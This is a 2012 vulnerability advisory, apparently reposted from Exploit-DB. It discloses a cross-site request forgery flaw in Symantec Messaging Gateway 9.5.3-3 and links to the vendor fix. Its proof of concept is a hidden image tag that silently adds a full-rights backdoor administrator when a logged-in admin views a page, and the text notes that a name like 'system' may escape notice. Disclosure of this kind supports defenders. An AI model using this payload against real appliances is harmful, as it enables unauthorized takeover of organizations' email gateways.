Symantec Messaging Gateway 9.5.3-3 – Cross-Site Request Forgery

  • 作者: Ben Williams
    日期: 2012-12-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/23109/
  • =======
    Summary
    =======
    Name: Symantec Messaging Gateway - Easy CSRF to add a backdoor-administrator (for example)
    Release Date: 30 November 2012
    Reference: NGS00263
    Discoverer: Ben Williams <ben.williams@ngssecure.com>
    Vendor: Symantec
    Vendor Reference: 
    Systems Affected: Symantec Messaging Gateway 9.5.3-3
    Risk: High
    Status: Published
    
    ========
    TimeLine
    ========
    Discovered: 16 April 2012
    Released: 16 April 2012
    Approved: 29 April 2012
    Reported: 30 April 2012
    Fixed: 27 August 2012
    Published: 30 November 2012
    
    ===========
    Description
    ===========
    I. VULNERABILITY
    -------------------------
    Symantec Messaging Gateway 9.5.3-3 - Easy CSRF to add a backdoor-administrator (for example)
    
    II. BACKGROUND
    -------------------------
    Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email Security Appliance
    
    III. DESCRIPTION
    -------------------------
    It would be relatively easy for an attacker to add a backdoor-administrator to the system, by getting a logged-in adminstrator to view a webpage with a specially crafted image-tag. This is partly due to the fact that GET and POST requests are interchangeable, there is no password protection on sensitive functions, and there is not CSRF protection in the product.
    
    =================
    Technical Details
    =================
    IV. PROOF OF CONCEPT
    -------------------------
    An attacker can create an web page with a hidden image-tag (example below)
    
    <html>
    A very interesting page indeed
    <img
    src="http://192.168.1.59:41080/brightmail/admin/administrator/save.do?pageReuseFor=add&id=0&userName=backdoor&passwd=muhaha3&confirmPassword=muhaha3&fullAdminRole=true&statusRole=true"
    height=0 width=0>
    </html>
    
    When a logged-in administrator views this page, a new backdoor administrator will be created in the application (as long as the username is unique).
    
    The administrator would not notice anything until they go to here:
    http://192.168.1.59:41080/brightmail/admin/administrator/view.do
    (where they would see the added administrator, but if the username is something like "system" or "filter" they may not notice this as an issue anyway)
    
    The attacker could then use this backdoor administrator to login, control and reconfigure the appliance.
    
    Many other functions can be abused in this way to arbitrarily reconfigure the appliance.
    
    ===============
    Fix Information
    ===============
    An updated version of the software has been released to address the vulnerability:
    
    http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00
    
    
    NCC Group Research
    http://www.nccgroup.com/research
    
    
    For more information please visit <a href="http://www.mimecast.com">http://www.mimecast.com<br>
    This email message has been delivered safely and archived online by Mimecast.
    </a>